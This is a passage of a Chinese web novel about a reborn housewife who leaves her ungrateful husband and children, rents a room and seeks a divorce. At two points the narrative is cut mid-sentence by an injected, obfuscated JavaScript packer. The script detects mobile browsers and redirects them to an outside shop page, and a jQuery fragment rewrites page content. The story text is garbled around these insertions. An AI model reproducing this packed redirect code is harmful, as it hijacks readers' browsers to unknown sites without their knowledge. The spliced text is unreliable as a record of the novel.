未经世事的小女孩再任性,不管母亲再怎么不堪,心中对其还是有些孺慕依赖的。 元斌正是摸准这一点。 “小妹真乖。” 他抬手揉了揉妹妹的脑袋,笑意却不达眼底。 妈这回是铁了心不管他们兄妹,还是逞强硬撑着,等元珠明天去试试就知道了。 或许是屋子里煎饺的香味太浓郁,兄妹俩睡得不大安稳,不约而同都被厨房里萝卜大骨汤的香味饿醒了。 “小妹,跟妈服软,千万别使小性子!”元斌把妹妹拉到一旁,不放心再三叮嘱道。 “想想那条白色洋装……” 元珠本来还有些不乐意,听到后面半句,立刻拍着胸脯保证:“放心交给我吧。” 她朝厨房走去,离得越近香味越往鼻子里钻,脚下步子不由得快起来。 周满果然在厨房里忙活。 今天吃手擀面,面团在她手中灵动翻飞,不到一会儿功夫就甩成针般粗细均匀的细条,放进面锅煮。 这样细的手擀鲜面有嚼劲,再烫两颗青葱阔挺的小白菜,两勺酱油,洒上一把葱花,就是最正宗的阳春面。 只有这种时候,元珠才觉得她妈对这个家是有点用处的。 好在她还记得长兄交待的事情,伸手揪了把大腿,眼眶红红的说:“妈,你别生我气,我错了。” 元珠任性又没脑子,指定是长子怂恿的,周满一点儿也不意外。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078901|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她撩起眼皮望过去,果然瞧见长子拿着鸡毛掸子在客厅里假装忙活,实则竖起耳朵听这边的动静。 重活一世,周满并非突然换了个脑子,变聪明了。而是跳出好妈妈的人设后,站在旁观者角度,才能将人心看得透彻。 “好,你说说自己错在哪了?” 元珠被问住了,支支吾吾答不上来,因为她一直觉得自己没做错。 周满收回目光,盛好一碗面走出厨房。 “元珠昨天胡言乱语,差点害得马婶误会你,她已经知晓错了。”元斌上前打圆场。 长子既贼又精,察觉到周满对待马寡妇态度不同后,立刻改变了称呼。 周满神情淡淡:“她对不起马大姐,就上门跟人赔礼道歉,跟我有什么关系?倒是你,拿亲妹子当枪使,可真疼她!” 被戳破小把戏,元斌当场愣在原地,面色发僵。 “妈,我没有,是你误会……” 元斌硬着头皮辩驳,迎来的却是周满似笑非笑的目光。 “老大,人在做天在看,小心算计到最后众叛亲离,什么都不剩下。”周满好心告诫。 不料换来元斌压抑怒火的反驳:“我听不懂你说什么,妈,你这是凭空污蔑,根本不信任我。” “那好,你告诉我,辍学究竟是谁的主意?”周满直视长子的眼睛,细细打量着曾经给予厚望、也是三兄妹中眉眼最像自己的孩子。 “辍学的真正原因是什么?” “……你很急用钱?” 元斌心头一慌,手指捏紧衣角,尽量不露出慌乱紧张的情绪来。 妈是不是知道些什么了? 不,不可能! 他明明隐瞒得很好,连朝夕相处的双胎弟弟都不知道,肯定是歪打正着胡乱猜测的。 元斌心乱如麻,面上努力摆出一副大义凛然的模样,将罪责揽到身上,“妈,你要怪就怪我,千万别再责备二弟了。” 他垂下头,似乎陷入深深自责中。 “钢铁厂接连两次大裁员,家里全靠爸一个人撑着,保不齐哪天就倒霉地被辞退了呢?我跟弟弟打算南下,都是为了补贴家用。大学学费贵,家里根本供养不起我们。妈,要是你真的不开心,大不了我们边工边读。虽然辛苦些,但只要能帮助你和爸,我们兄弟俩就毫无怨言。” 这些话,上辈子周满已经听得起老茧了。 直到后来…… “元斌,我最后一次问你,辍学的真正原因是什么?” 元斌咬牙坚持:“为了补贴家用。” “二哥已经被你气得离家出走,难道你也要大哥离开这个家,非要闹得大家都不开心才心满意足吗?” 元珠心疼哥哥,一个箭步冲上来,瞪着两只红肿的眼睛埋怨周满,“既然你在这个家待的不开心,事事都不如你的意,为什么还不滚,非要死皮赖脸留在我们元家。” 周满心里蓦然酸疼。 是啊,他们才是一家人,从头到尾只有自己才是外人。 这婚大概率是很难离的,元建军天天躲在厂里不回家,打定主意冷处理。 但是。 同样愈发坚定要即刻搬出去住的决心。 9. 初遇 “咚咚咚” 突然的敲门声,打破老元家僵持的局面。 兄妹俩站着一动不动,事不关己,都习惯了等去周满开门。 懒,全是惯出来的! 这个点很少有邻里过来串门,周满想到昨天拜托马春花找房的事情,心里陡然一惊,该不会是老姐姐带来好消息了吧? 她期待地打开门,果然瞧见对方满脸喜色地站在门外,一把抓住她胳膊往外走,“那件事有着落了,刘棋在楼下等着,咱们赶紧出门。” “等等,我穿件棉袄。” 周满眼疾手快抄起架子上的外套,跟上对方步伐。 刘家四朵金花按照琴棋书画依次取名,性格迥然不同。 老二刘棋剪一头干净利落的齐耳短发,刘海用头油全部梳上去。 黑色棉服里面套着件花衬衫,烈焰红唇,胳肢窝夹着公文包,整体造型那叫一个英姿飒爽。 “你这口红颜色可真漂亮,特别显气色。”周满由衷夸赞。 刘棋偷偷打量周满,见她神情中并无一丝一毫的嫌弃挑剔,反而满满都是欣赏,方才觉得她妈好像没有欺骗自己。 元家婶子跟传闻中的确不一样! 究竟是谁说她刻板迂腐重规矩,是封建女性的代表? 她兴冲冲地从公文包里掏出一支口红,打开盖子,扭了两下底座转出一截口红,“周婶您真有眼光,这是香奈儿女王色号。我瞧您气色不好,给您涂上试试。” 别瞧刘棋瘦瘦高高的,力气却不小。不等周满反应过来,给她唇上涂抹两下,最后用食指指腹仔细揉开。 “周婶,您真漂亮!” 她惊喜地递上一块镜子。 镜子里的妇人眉目温婉,涂上口红后,整张脸蓦然变得生动鲜活起来。 “当年你周婶一身红衣嫁进来,跟天仙下凡似的,满院子媳妇汉子眼睛都看直了。” 马春花挽起周满胳膊,“你呀,以后多打扮,千万别浪费这张好看的脸蛋。” 女人谁不爱美? 周满对着镜子左瞧右看,心中也是极为高兴的,“对了,房子找了什么样的?” 谈到正事,刘棋收起玩笑神色,认真答道:“我打听到的房子拢共有两处,都在东城那边。一处在小学旁边,一处在纺织厂周围。这两处人口密集,平时有不少人在附近摆摊,热闹得很。” 周满唇角扬起和煦的笑容,“这两个地段听起来就不错,你用一个晚上就帮婶子找到了,真厉害!” 哪怕是这么冷的天气,刘棋硬生生被这句话夸红脸蛋。 “你陪我出来看房,不会耽误工作吧?”周满担忧地凝起眉头。 刘棋自信扯唇,“我工作就是干这个相关的,周婶你别担心。而且打小我们姐妹就在城里四处捡废品,对各个小区熟着呢。” 刘父去世后,刘母抢走一大半赔偿款,母女五人一度生活水平极差。 马寡妇性子强,凭借一手刺绣技艺,平时接点缝缝补补或者做衣服的活维持开支。 而四姐妹虽然遭受大院里孩子孤立,并不自怨自艾,反而在长姐带领下四处赚钱,帮忙补贴家用。 一晃十年过去,母女五人硬是把一手烂牌打好,日子越来越顺遂。 周满估摸着刘家现如今的生活水平,跟厂里书记家不相上下。 还得是马大姐会教育! 周满羡慕,但并不嫉妒。 日子得靠自己去摸索,东施效颦,有可能反而过得更糟糕。 东城是县城中心城区,举目所及皆是一排排破旧低矮的老房子,瞧着比北城新建的工厂区脏乱差。 然而,不出十年,这里将会翻天地覆的变化。高楼大厦如雨后春笋般巍峨耸立,繁华盛景可期。 周满显得分神。 以为她不太满意,刘棋赶忙解释道:“这边环境、周边设施虽然不如家属院,但胜在房租便宜。瞧,胡同口前面就是派出所,每天都有公安巡逻,对于独居女性来说十分安全。” 周满顺着她手指望去,派出所门口停放的警车还真不少,时不时有全副武装的警务人员在附近巡逻。 这阵仗,一众黄毛小混混们惟恐避之不及,路绕得远远的。 这场景也叫周满猛然间回忆起一件事来,也就在春节前夕,县里抓获几个正在交易的人贩子,并顺藤摸瓜将所有罪犯一网打尽。 就在周满思绪飘飞之际,一个国字脸的年轻公安上前拦住了她们,“同志,请配合警局出示身份证件。” 刘棋自觉从公文包里翻出工作证明、街道证明文件,笑眯眯地说:“我们都是钢铁厂的职工家属,打算去杏花胡同15号看房子。” 杏花胡同15号? 周满的眼皮猛地一跳,心道:该不会这么巧吧? 钢铁厂属于江城重点厂区,福利待遇那可是出了名的好。 其中一条待遇就是正式职工包分配房子。 国字脸公安的眉头瞬间拧成了麻花,“你们跨城区跑到东城看房?不对呀,就算厂里不包分配,需要租房,也该在工厂附近,方便家人上班才对吧?” 他的手犹如闪电般按在腰间,另一只手对着不远处的队友打了个手势,声色俱厉地询问:“你们究竟是干什么的?” “这……”刘棋满脸迟疑,不知道当不当说。 国字脸公安何其敏锐,如同老鹰般犀利的眼神紧紧盯着她,从兜里掏出银手铐,“说!” 那气势,仿佛能把人给生吞活剥了。 马春花吓得攥紧周满的胳膊。 老一辈尤其是在城里生活的普通老百姓,刚刚经历过动荡不安的七十年代,对于身着制服的公职人员,心中充满了畏惧, “公安同志,她们是我邻居,的确是来陪我看房的。”周满目光坦然,语气平静地像是叙述其他人的事一般。 “我丈夫是钢铁厂的会计元建军,等过阵子离婚后,我需要搬出来住。以后不想再跟他们一家子打交道,因此特意过来东城这边看房子。” 国字脸公安明显一怔,“离婚?” 周满瞧着就是个典型的家庭主妇,穿着质朴无华,眉目清朗温婉。按照后世的话来说,就是自带一股妈味。 但人贩子越来越猖獗且狡猾,其伪装手段花样百出,他不敢有丝毫的懈怠。 “我认得她……丈夫。”一道低沉男音忽然自身后响起。 周满缓缓抬起眼眸,视线朝着前方望去。只见来者剑眉星目,英姿飒爽,拥有着非常健康的小麦色肌肤。 宽阔的肩膀和纤细的腰部形成鲜明对比,身高至少有一米九二左右。 他身着的公安制服被坚实的肌肉撑起,紧绷而富有线条感,展现出完美且充满性张力的身材。 离得近了,还有一股难言的压迫感。 这个人是元建军的朋友? 周满努力在脑海中搜索相关记忆,却一无所获,随即想到什么嘴角又浮现一抹轻嘲。 元建军一直看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“外面冷,你们一路走过来手脚都冻僵了吧?赶紧进屋,我给你们泡壶热茶,暖暖身子。” 这栋小院一共三间厢房,正儿八经四合院的布局,右侧墙院根处有片菜地,打理得井井有条,分门别类种着大白菜、大萝卜、葱蒜韭菜,长势别提多喜人了,看得出来老太太的确是个勤快人。 院子左边则伫立一棵十几年的腊梅,树梢悬挂着张坏了的秋千。 “我和孙女住东屋,西屋是厨房和杂物间。要出租的是南面厢房,已经提前收拾好了,拢共两间房,一间卧室一间客厅。 厕所统一在后院,厨房可以共用,只要你能及时打扫干净就成。你们四处转转,我沏壶热茶去。” 人逢喜事精神爽,赵大娘腿脚利落地进了上屋,翻墙倒柜找出家里珍藏多年的老陈茶。 “奶,谁来了?”陈圆揉着惺忪睡眼坐起来。 赵大娘慈爱地揉着孙女头发,笑呵呵地说:“是你周婶想要租咱家房子,你周婶热心肠,肯定能跟咱祖孙相处得好。” 陈圆思考半天才回忆起来奶说的周婶是谁,不解地问:“周婶为什么要来租咱家房子?她那天脑袋包着纱布,是被坏人欺负了吗?” 赵大娘拿着茶叶包的手一顿,眉头不由得深深拧起来。 10. 租房 天气阴暗,但整个南厢房亮堂堂的。 唯一不足的是,家具少了点,两把椅子一张床,还有个半旧不新的单人衣柜,旁的便没了。 “二十块?能在家属院附近租个家电齐全的房子了。”马春花嫌弃地伸直手指戳了戳窗户纸,仿佛稍微用点力就能将其捅破,嘴角顿时一撇,“老二,你可不能为了多赚佣金,故意坑你周婶。” 刘棋直呼冤枉,“好歹这片是老县城中心,租金普遍贵上一些。娘不是您说的嘛,找个安全人又多的地方。别看这带房子破,住的人家可都是体制内的,大方舍得花钱,省得周婶每天出摊到很远的地方去。” 相对而言,这一带的小摊贩竞争最激烈,如同赵大娘这般厨艺中规中矩的很快被淘汰下来,被迫迁往其他城区讨生活。 周满对住所不太讲究,准确点说,没钱支撑她有底气挑剔。 “最多十五块。” 月租二十对现如今的她而言的确贵了些,如果双方谈不拢,再看看其他的,大不了每天推摊子走远点,能省则省。 刘棋点头应下:“行,我去谈谈。” 虽然周满跟赵大娘认识,但一码归一码。房租的事情最好由中介出面谈,免得将来扯皮伤感情。 三人商量好回到院子,正好赵大娘端茶水出来,“家里没什么好茶,你们将就喝着暖身子。” 这是句客气话。 茶汤鲜亮,茶芽嫩绿舒展。 周满尝一口就尝出来是碧螺春,许是念头太久保存不当,口感略微发涩。 元建军一辈子爱讲究,宁可省吃俭用连续啃上半个月窝窝头也要喝好茶。久而久之,周满在茶道方面学了不少东西。 她不动声色地喝光一盏茶,反观旁边的马春花,浅浅抿一口就放下。 由此可见两人性格差异,一个习惯性当老好人,事事求圆满不落人口舌;一个不将就,不委屈自个,活得颇为自在。 “大妹子,我这人心直口快,也不绕弯子了。咱们相识一场,房租上可以协商,只是你能告诉我,为什么要来租房子吗?”赵大娘直勾勾地盯着周满。 衣裳是半旧的棉袄,棉花用料足,上面没有任何补丁。肤色白皙细嫩,眉眼精致,体型略胖富足。 最关键的是气质好,温婉大气,在人群中一打眼就能瞧见的存在。 但她孤身一人顶着破脑袋出来找房子,显然遇到不小的麻烦。 她们祖孙俩相依为命,生活厄苦,实在不敢再牵扯进其他事端里。 “不瞒大娘,我要跟丈夫离婚,打算搬出来自己省活。”周满大大方方的说道:“如果你介意,我去租其他房子。” 赵大娘愤愤握紧拳头,破口大骂道:“天杀的,他在家里打你?真是个畜生!” 尤记得那日碰见周满,脸惨白得没有一丁点儿血色,造孽哟。 她一把握住周满的双手,“大妹子你放心在大娘这里住,大娘年轻的时候还打过地主哩。要是那个畜生敢来,我们一起把他扭送公安局。” 周满哭笑不得,心里暖洋洋的。 刚打算澄清误会,马春花抢先一步附和道:“我这个阿妹日子过得惨,娘家是乡下的,当初嫁过来时高攀了婆家。这些年婆家处处防备她,里里外外活全包揽了。 天不亮就起床做早饭,寒冬腊月,井水都结冰,还要洗一家子的衣裳,连月子都不清闲。 好不容易伺候走婆母,丈夫对她愈发苛刻,家里孩子也没一个体谅她的,闹着辍学当倒爷。这不,终于想通离婚,宁肯自己出来讨生活。” 这番话唱作俱佳,直把赵大娘说红了眼眶。半晌她拿袖子抹了抹眼睛,哽咽着拍板决定道:“我收你十五块,你想什么时候签合同?咱们现在就能去办手续。” “幸好我妹子遇到的是大娘,心地不仅善良,还嫉恶如仇,简直不觑□□同志,是个锄强扶弱的巾帼英雄。”马春花继续竖起大拇指夸赞。 赵大娘被高高捧起,一股名为“正义”的热血猛地涌入胸腔,鼓鼓当当。 重新望向周满的眼神亦变得温和慈爱。 没错,她就是这样的大娘! “房租十五,水电全包,你租不租?” 除了囡囡每个月的药钱,剩下的足够生活开支了。 十五块,是赵大娘的底线。 “租!” 周满也不扭捏,应得爽快。 接下来的事情进行得十分顺利,双方浏览合同后没问题,各自于合同下方签好名字,最后上派出所进行备案。 从今天开始,杏花胡同15号南厢房的使用权就归属于她了。 周满一向稳得住,但怀揣着崭新的租房合同,仍禁不住红了眼圈。 人有所顾虑做事就畏手畏脚,直至真正迈出那一步,才发现原来如此简单。 归根结底,前世是周满不够勇敢独立。 人呐,总要自己立得起来,才有资格赢的旁人的尊重。 她抬头眨巴眨眼睛,将眼角的泪痕一点点眨掉,回头对马春花感激道:“老姐姐,多亏了你和小棋帮忙,我真不知该如何报答你们的大恩大德。你放心,等我回去就把钱还给你。” 房租,是马春花好心帮忙垫付的。 经过协商,赵大娘同意月结,押一付一,总共三十块。 马春花舔舔嘴唇,笑道:“那还不简单,等你搬好家,就请我们母女俩吃顿饭。” 她这般忙前忙后,不就是惦记着周满做的那一手好菜么。 周满毫不犹豫地点头应了声好,“到时候一定请你们全家来暖屋。” 适逢温暖天光从云层缝隙从投射下来,眼前暗沉的世界骤然开阔,是那么的丰富多彩。 瞧,连老天爷都在为她喝彩! 周满唇角轻轻翘起,告别马春花母女俩,坚定地迈出胡同口。 过了县小学门口,一路向南,大概走了半个小时,在一座座气派的县委办公楼旁边,找到了妇联。 空荡荡的办公室仅有一个圆脸女干事在织手套。 “咚咚咚” 周满曲起手指在门上敲响三下。 圆脸干事起身,一边打毛线边走过来,“同志,你有何事需要帮助?” “我想咨询一下离婚的相关事宜。” 听闻这话,圆脸干事原本那好似被瞌睡虫附身的眼皮,瞬间如被雷劈般睁得老大。 这年头闹离婚的,大多都是刚结婚的小年轻,像周满这样岁数的,简直是凤毛麟角。 她热情地搬来根小凳子给周满坐下,“离婚可不是闹着玩的,必须暨于双方“感情确已破裂”地基础上才能离得成。” “是你提出来离婚,还是他?” “结婚证办了没?孕育几个子女?” 面对一连串询问,周满不疾不徐地回答:“我们一共孕育两儿一女,是正儿八经扯了结婚证的。结婚二十年来,我丈夫并没有做任何越轨之事,是我单方面不打算跟他过,不想再做没用的家庭主妇了。” “就因为这个?” 圆脸干事用一种斥责的目光望向她,严肃批评道:“自古以 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周满条理清晰,连请离婚律师都能想到,显然是有备而来,真的不打算过下去了。 “按流程是这样,但……” 圆脸干事还想接着劝,周满已经扯起笑脸,笑眯眯地堵住她的话,“同志,能借我本《婚姻法》吗?我想提升自己。” 不管有多困难,这个婚,她离定了! - 周满回到家已经过了正午,一群无所事事老娘们拿着扇子坐在廊檐下,伸长脖子朝元家门内瞅。 “周满,你家老元带了个漂亮女人回来。”有人打趣道。 黄六婶往地上啐了一口,“甭狗嘴里放屁了,是秦芳,按照辈份管你婆婆叫一声大姨,跟建军从小一块长大。你嫁进来前,就跟丈夫军官随军了。” “秦芳真真是不一样,细细地高跟鞋踩着,一头波浪卷,脖子上扎个漂亮的天蓝色丝巾,不愧是见过大世面的女人。” “听说秦芳自己做生意,赚不少钱呢。手上提的包包是什么奥的,上千块钱哩。” …… 秦芳。 周满心里咯噔一声响,手指不自然地蜷缩起来。 这个名字她可太熟悉了,虽然从没见过人,上辈子却时常出现在几个儿女的口中。 在他们眼中,秦芳能干独立,事业有成,是新时代的女性标杆,学习的榜样。 而周满就是那个不思进取、封建糟粕的对照组。 秦芳压了她整整一辈子。 尤记得那时候周满为了争口气,打算报考老年大学。儿女们得知此事,都是怎么说来着? 老大语气淡淡的:“妈,你都多大年纪了,别出去丢人现眼了。” 老二惯来毒舌,“就算你再怎么东施效颦,也比不上秦阿姨一根手指头。” 老三不耐烦,“妈,你要是去上老年班,平时谁给爸做饭,谁打扫卫生?我们对你就只有这么一个简单的要求,你怎么都做不好?要你还有什么用?” 周满含辛茹苦将三个儿女送往思想先进开放的大学堂,结果惨遭背刺,纷纷将其更用力地踩进庸俗家庭主妇的泥沼中。 呼! 周满呼出一口浊气,用力捏紧手中那本《婚姻法》。 恰好元珠拉开门,从里面走出来,看到她明显就是一喜。 “妈,你回来得正好。秦阿姨来了,赶紧去菜市场买点菜回来。对了,秦阿姨刚出院身体不舒服,选只肥点的老母鸡炖汤吧。” 11. 搬出去了 热闹的气氛隔着她身后那道门传出来。 “秦姨,咱们有多少年没见面了?您真是越来越漂亮。” “上回你给我带的全英文字典十分好用,同学都很羡慕,问在哪买的?” “您就放心在这多住几天,医院请的护工哪有家里人伺候的用心?” …… 两个儿子相当健谈,脸上洋溢的灿烂笑容也是周满从未见过的。 秦芳便坐在父子三人中间,一身驼色西装领羊毛大衣,内搭白色毛线裙。 侧过脸时,精心打理过的卷发柔顺披散在胸前。 秦芳五官不精致,但足够时髦优雅。 原来…… 这就是儿女理想中的妈。 周满一言不发地走进家门,往卧室走,计划收拾东西离开。 经过他们时,喧闹蓦地戛然而止。 扫视过来的一双双目光充满敌意与不满。 “周满!”秦芳先开口,直视周满。 她经营多年生意,走南闯北,连市领导都面见过。 自以为周满会被自己一身女强人的气场压得自惭形秽,但是周满一双眼沉静明亮,腰背依旧挺得直,倒叫她有些意外。 “按理说我应该叫你一声嫂子,但你实在连一点女人的本分都没有。”秦芳开口便是咄咄逼人,“厨房碗筷堆积如山,家里到处是灰尘。儿女丈夫一概不管,整日就知道在外边潇洒快活,简直就是不守妇道。” 这番打抱不平的话一出口,便迎来父子三人赞赏感激的目光。 周满平静的反击回去:“秦小姐,听说你是高知女性,所以咱们女人的本分就只能是相夫教子做家务吗?” “我跟你们这些家庭主妇不一样。”秦芳高傲地抬起下巴,“我有能力赚到钱,可以不依靠男人而活。可是你不一样,一旦被建军抛弃,除了回娘家再嫁人别无选择。” 周满闻言笑了,笑秦芳的自大,“为什么我不能赚到钱呢?就因为我连初中都没有上过?我可以去当保姆,去做环卫工人,只要我不怕苦,总能赚到钱。可是他们呢?十指不沾阳春水,连蜂窝煤都不会点,究竟是谁离不开谁呢?” 这般强势的周满是元家人没见过的。 她站在窗子边,沐浴着温暖的天光,红唇张扬,透着别样鲜活的生命力,叫元家一家子心里透着一股不舒服。 “妈,保姆是伺候人的工作,你怎能去干那个?”元斌头一个反对。 周满扬起眉梢,“为什么不能?在家也是伺候你们,出去当保姆好歹有钱赚。就跟你秦阿姨一样,只要能给家里带来钱,当然不必去履行“做女人的本分”。” 最后五个人压得很重,成功叫秦芳脸色沉如锅底,甚至觉得受到侮辱。 “你怎么能和我相提并论?” 她自诩高高在上,与周满这等家庭主妇不在一个阶层。 “我开了间服装公司,亲自当老板,每年流水上万块。而当保姆是自甘堕落,是下九流。” “慎言!” 周满一开始面带冷笑,听着听着,嘴角瞬间抿平,厉声道:“并非人人都能有你出门做生意的气魄与经济实力,大多数女人都身不由己,但同样在自己的岗位里发光发热,为社会为家庭做贡献。” 她侧头,厉眸扫向根木桩子般杵着的元建军,愈发瞧不上他没担当。 当初要不是落水以外被他救了,恰好被村民撞见,她何至于嫁给这个虚伪的男人? 一天办两件事情,周满心中底气十足,趁此机会决定狠狠逼迫元建军一把。 心里做好打算,再开口时直接不留余地。 “我就算是出去当保姆,自己养活自己,也不会再伺候你们一家子,给不相干的人当免费护工。” 秦芳恼羞成怒,提起包包作势要走,“是你丈夫儿女们请我来做客的,他们摊上你这么一个野蛮不讲理的妻子、没见识的妈妈,真是倒了八辈子的霉。” “秦阿姨,你别走,要是也是她走。”提议让周满伺候秦芳的是老二,听了周满指桑骂槐的话,一股怒火在脑海中“砰”的炸开,烧得他理智全无。 “正好,我早就想要秦阿姨来当我妈了。” 这句话不啻于平地惊雷。 “老二!” 元斌吓得挑头去看周满的神色,就算秦阿姨千好万好,可他却不想要换妈。 当后妈的,有几个真能全心全意接受原配儿女呢? 周满脑子前所未有的冷静,忽然开口问了一个看似不相关的问题:“元建军,那天你提着花篮去医院,是去看望秦小姐的?” 元建军眼神闪躲。 “爸跟秦阿姨关系好,自然要去医院探望她,不像某些冷血动物。”老二没脑子,一想到能气死周满,有什么直接说什么,全然不顾大哥给他使眼色。 “你不知道吧,每年我们都和秦阿姨互寄礼物。前年,爸带我们去B市游玩,就是去见秦阿姨的。还有之前……” 元斌猛地捂住弟弟喋喋不休的嘴,试着解释:“妈,爸跟秦阿姨是正当的朋友关系,你别多想。” 秦芳双手环胸,一副身正不怕影子斜的模样,“我和建军是异性知己,是好朋友,革命情谊容不得某些人玷污。” 这话周满信。 元建军怂,不敢离婚。 实则还是因为秦芳瞧不上他。 但周满故意装作不知,就是要把事情闹大,“行,让其他人来评评你们的革命友情!” 周满抬脚往外走。 “你敢!” 元建军气急败坏,高高扬起手,朝着周满扇去。 这一巴掌十足十的力道。 周满偏头避开。 大概没料到周满会躲,元建军有片刻的错愕,随之是满腔喷涌的怒火,以及在初恋跟前被下脸面的耻辱与难堪,大男子自尊迫使他急切想要找回场子。 再次扬起的胳膊在周满轻飘飘的一句话下,定格在半空。 “你敢打,我就敢报警抓你。” 想要元建军松口离婚,必须要将其面子狠狠踩在脚下。周满趁胜急追,“元建军,你要是男人就痛快点答应离婚,我一刻儿也不愿意跟你过了。” 果然,元建军那张脸一会儿青一会儿白。< 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她的步伐沉重,却坚定。 细看还有几分轻快的味道。 但其他人不知道啊。 邻居们瞧见周满大年二十九被赶出家门,有些于心不忍,劝和道: “元斌他妈,夫妻床头吵架床尾和,你跟建军低头认个错,何必闹成这样?” “你一个女人大雪天的能去哪?别糊涂了,咱们女人不就靠男人养着,受点委屈忍忍就过去了。” “你傻啊,现在赌气离开,难道要把建军和孩子们让给秦芳?” 一阵风吹来,周满莫名觉得有点寒冷。 还有浓浓的心酸。 同为女人,她们可以不帮助自己,拉她一把。 但万万不该轻言自贱。 女人只有学会尊重自己,自爱自重,才能赢得其他人的尊重,才能在有朝一日冲破传统枷锁,在历史舞台上自由挥洒属于女性自身的浓墨色彩。 那一天,任重道远。 周满默默地往前走,身影一步步消失在筒子楼,留下一众或同情或不看好或咒骂她不领情的声音。 以及…… 愣怔中的元家人。 “妈真的走了?”元珠心底难得有些慌。 老二不以为意地撇撇嘴,“她能去哪?还不是回乡下姥姥家,二舅母不是好相与的,说不定年还没过完,就灰溜溜滚回来了。” 老大却有些不容乐观,这两日周满的无情与果决一一在脑海回放,不由得升起一股强烈的不安感。 “爸,你跟妈说两句软话,把她追回来吧?” 元建军仍处于与妻子斗争中取得胜利的自满中,梗直脖子拒绝道:“让她走,真以为离了她过不下去似的。” 老二说的对,周满除了娘家无处可去,迟早会乖乖回来求他。 元建军越想越得意,大手一挥,喝住大儿子想要继续劝诫的话,“走,今天下馆子,给你们秦姨接风。” 12. 开启新生活 周满花五毛钱在家属院门口雇佣一辆板车帮忙托运。 不大会儿功夫就抵达东城。 一眼,就远远望见大队长高高的个子站在人群中。 挺拔如松柏。 “同志你这么快就搬过来了?动作真够迅速的。”旁边的国字脸公安瞟一眼,满脸诧异。 大概是这一天事情进展都十分顺利,周满眼睛弯起来,“后天就是新年了,总不能一直赖在别人家。” 国字脸公安佩服地伸出大拇指。 离婚并且能够快刀斩乱麻的人不多见,尤其是女人,总是放不下孩子,舍不得这割弃不了那。 往往妇联调解不了的夫妻纠纷,闹到警察局,到最后也不了了之。 正如他们大队长说的:未经他人苦,莫劝他人善。对于决心离异的女同志,不能携带任何有色眼镜任意批判。 “明天大年三十不办手续,过完年记得再来局里补办居住证。” “多谢同志提醒,我到时候一定来。” 周满感激地冲公安人员笑笑,大步朝前追上板车。 “队长,这个女同志挺惨的。”等她走远,国字脸公安忽然摇头感叹一句。 “那板车上拉的全是破褥子破家具,唯一带点儿颜色的红陶瓷盆漆都快没了。对了,她丈夫不是钢铁厂职工吗?真就一点好东西不分给妻子,也忒薄情了点。” 孟越冷睨他一眼,“执行公务期间,不要议论八卦。” 国字脸公安心头微凛,赶忙做了个把嘴巴缝上的动作,继续警惕地来回巡逻。 越是临近年关,越不敢松懈。 - 车夫将行李全部搬进南厢房,东西拢共没几件,不用清点,周满爽快地结算了工资。 签租房合同时周满就表示会尽快搬进来,下午那会儿赵大娘便已经里里外外打扫一遍,倒是省去许多功夫。 天气冷,三床被子最厚的拿来当褥子垫,其他两床换上干净的被套,折叠成整齐方正的豆腐块。 衣服虽然不多,每季两套,也分门别类叠好放入柜子里。 剩下的瓷盆、热水壶、毛巾、拖鞋一一放好,周满直起腰杆往里瞧,心中顿时热血沸腾。 这是她的家! 虽然是租来的,很空旷,没几个值钱东西,可所有东西明明确确都归属她一人。 这让成婚后一直有寄人篱下感觉的周满,觉得异常满足。 在元家,她始终是个外人。 但在这间二十来平米的小小出租屋里,总有一天她会用这双手,慢慢将之填满。 “大妹子,这里有些旧报纸,你拿来糊在墙上。”赵大娘双手端着一锅浆糊,报纸夹在右臂中,笑盈盈地放在房间仅有的一张木桌上。 这年头家家户户都会煮浆糊,面粉加少量水在火上慢慢熬制而成糊糊状,粘东西一整年都不会掉。 南厢房许久没住人,白色墙壁斑驳,到处都是经年累月攒下的霉菌印子。 周满正愁着什么时候上收费站买点旧报纸回来当墙纸用,赵大娘送来这些可谓是及时雨,“多谢大娘,那我就不客气了。” “哟,这锅浆糊可不少,明天贴春联喊上我,我识得几个字,能帮你一起弄。” 同居有来才有往,处处彰显着人情味,小事方面不必太过于计较。 赵大娘笑得不见眼,往年贴春联总是麻烦邻居帮忙,生怕左右贴反闹笑话。 隔壁那家小子热心肠,可他娘总爱占便宜。帮个忙,总借口要走三四个鸡蛋,可把赵大娘心疼坏了。 鸡蛋是陈家难得的荤腥,她一口舍不得吃,都是预留给生病的小孙女补营养的。 周满主动提出来帮忙,可算是解决了赵大娘一块心病,于是笑容更真诚了些:“天快要黑了,咱娘俩一起干,你也能早点休息。对了,待会儿上我那吃饭,大娘煮了一大锅红薯饭,热乎着呢。” “行。” 这副身体毕竟还没好全,方才周满简单收拾一通,虚得出了一身的热汗。明天大年三十,正好露一手。 总比自己孤零零守岁强。 “周婶,这是我送你的搬家礼。”陈圆圆从奶身后冒出脑袋来,奶声奶气地把手中的红梅枝递给周满。 这枝花开得正艳,是刚刚从枝桠上折下来的,花瓣上还残留着片片洁白无暇的雪花。 但比梅花更耀眼的是陈圆圆那双澄澈明亮、不掺杂任何杂质的干净眼眸,带着期待与喜悦、与忐忑不安。 当她仰着脑袋时,瞳眸里全都倒映着周满一个人。 周满不经有些恍惚,其实小时候元珠也是这样的,会甜甜的喊妈,窝在她怀中撒娇,会做漂亮的扎花小卡片……从什么时候变的? 是跟着元建军去了B市出差,见过独立时髦的秦芳之后? 还是婆婆患病卧床,愈发搓磨她,并在一众儿女跟前挑拨离间,“要防备她一个外姓人花掉元家财产”中慢慢转变对她的态度? 周满掩下复杂的心绪,弯下腰接过红梅花,“谢谢宝贝儿,婶子非常喜欢。” 